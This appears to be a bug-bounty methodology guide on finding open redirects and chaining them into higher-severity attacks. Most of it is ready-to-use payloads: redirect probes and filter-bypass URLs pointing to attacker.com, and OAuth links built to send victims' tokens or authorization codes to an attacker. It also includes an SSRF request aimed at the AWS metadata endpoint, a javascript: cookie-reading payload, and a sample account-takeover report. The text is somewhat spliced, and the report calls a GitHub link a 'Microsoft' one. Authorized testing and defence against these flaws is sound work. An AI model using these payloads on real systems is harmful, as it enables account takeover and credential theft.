Identify Open Redirect vulnerabilities where applications route users to arbitrary external URLs based on unvalidated input. Prove maximum impact by chaining Open Redirects with OAuth token theft, SSRF, or Phishing, graduating this typically low-risk finding into a high-severity report.
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?next=, ?returnUrl=, ?redirect_to=, ?url=.redirect_uri to the target domain, but an Open Redirect exists on that domain to steal the tokens.# Concept: Ascertain if changing the target URL forces a 301/302 HTTP response
# to an attacker-controlled site.
# 1. Probing obvious parameters
https://target.com/login?next=https://attacker.com
# 2. Check the HTTP Response
HTTP/1.1 302 Found
Location: https://attacker.com
# Vulnerability Confirmed!
# Concept: Developers often attempt to validate URLs (e.g., ensuring they start
# with the valid domain or a `/`). We must creatively bypass these checks.
# 1. Bypassing "Must start with target.com" validations
https://target.com/login?next=https://target.com.attacker.com # Attacker creates a clever subdomain
https://target.com/login?next=https://attacker.com/target.com # Placing target name in path
https://target.com/login?next=https://target.com@attacker.com # Using basic auth structure
# 2. Double URL Encoding & Whitespace
https://target.com/login?next=%0d%0a//attacker.com # CRLF Injection bypass
https://target.com/login?next=\/\/attacker.com # Backslash bypass
https://target.com/login?next=//attacker.com # Protocol relative URL (browsers evaluate to http/https)
# 3. Trailing Slashes & Browser Normalization
https://target.com/login?next=https://attacker.com%2F%2E%2E%2F # Browser evaluates encoding differently than backend
# Note: Many bug bounty programs mark basic Open Redirects as "Out of Scope" or "Low" priority
# because the impact is "only" phishing. You MUST chain it!
# Escalation 1: OAuth Token Theft (High/Critical Impact)
# Scenario: Target uses Google OAuth. The `redirect_uri` MUST strictly match `https://target.com/callback`.
# Attacker leverages the Open Redirect on target.com.
https://accounts.google.com/o/oauth2/auth?client_id=target_id&redirect_uri=https://target.com/callback?next=https://attacker.com&response_type=token
# Result: Google trusts target.com, sends the token to target.com. Target.com executes the Open Redirect,
# forwarding the OAuth Token via the Referer header or URL fragment to attacker.com. Session taken!
# Escalation 2: Bypassing SSRF Defenses (High/Critical Impact)
# Scenario: An API fetches data from user-supplied URLs, but blocks `http://169.254.169.254` (AWS Metadata).
# Attacker provides the Open Redirect URL instead:
POST /api/fetch HTTP/1.1
{"url": "https://target.com/redirect?to=http://169.254.169.254/latest/meta-data/"}
# Result: The strict SSRF filter allows `https://target.com`, but the HTTP client follows the 302 redirect directly into the metadata service, bypassing the filter.
# Escalation 3: Cross-Site Scripting (XSS) (Medium Impact)
# Scenario: The redirect is handled via JavaScript `window.location = params.url` instead of HTTP 302.
https://target.com/redirect?to=javascript:alert(document.cookie)
flowchart TD
A[Inject `https://attacker.com` into redirect param] --> B{Does a 302 redirect occur?}
B -->|No| C[Try filter bypasses: `target.com@attacker.com`, `//`, `\/\/`]
B -->|Yes| D{Assess Impact Escalation}
D --> E[Chain with OAuth `redirect_uri`]
D --> F[Chain with SSRF Filters]
D --> G[Try `javascript:` for DOM/Reflected XSS]
?redirect_to=1 (maps to /dashboard)/ and do not begin with // or http, ensuring they restrict users exclusively to the current domain.| Concept | Description |
|---|---|
| Open Redirect | An input validation flaw where untrusted data specifies the target of a web redirect |
| Exploit Chaining | The process of combining multiple low-severity vulnerabilities to achieve a high-severity impact |
| OAuth Token Theft | Exploiting an open redirect on an authorized Client Domain to steal tokens from the Authorization Provider |
Bug Bounty Report: Account Takeover via OAuth & Open Redirect Chain
===================================================================
Vulnerability: Open Redirect escalated to OAuth Token Theft (Account Takeover)
Severity: High (CVSS 8.1)
Target: GET /login/redirect?url=
Description:
A classic Open Redirect exists at `/login/redirect?url=`. While normally a low-severity phishing vector, this vulnerability can be chained with the application's GitHub OAuth flow. The OAuth configuration correctly restricts callbacks to `https://target.com/`, but by embedding the Open Redirect into the OAuth callback flow, an attacker can steal the OAuth authorization code.
Reproduction Steps:
1. Send the victim the following crafted Microsoft OAuth link:
`https://github.com/login/oauth/authorize?client_id=TARGET_ID&redirect_uri=https://target.com/login/redirect?url=https://attacker.com/log`
2. The user authorizes the application on GitHub.
3. GitHub sends the code to: `https://target.com/login/redirect?url=https://attacker.com/log&code=xyz123`
4. Target.com executes the open redirect.
5. The victim's browser sends the `code` within the HTTP Referer header to `attacker.com/log`.
6. The attacker uses the stolen `code` to authorize their own session.
Impact:
Full Account Takeover (ATO) for any user leveraging GitHub Single Sign-On.
For cross-cutting methodology applicable to all vulnerability classes, see:
_shared/references/elite-chaining-strategy.md— Exploit chaining methodology and high-payout chain patterns_shared/references/elite-report-writing.md— HackerOne-optimized report writing, CWE quick reference_shared/references/real-world-bounties.md— Verified disclosed bounties by vulnerability class
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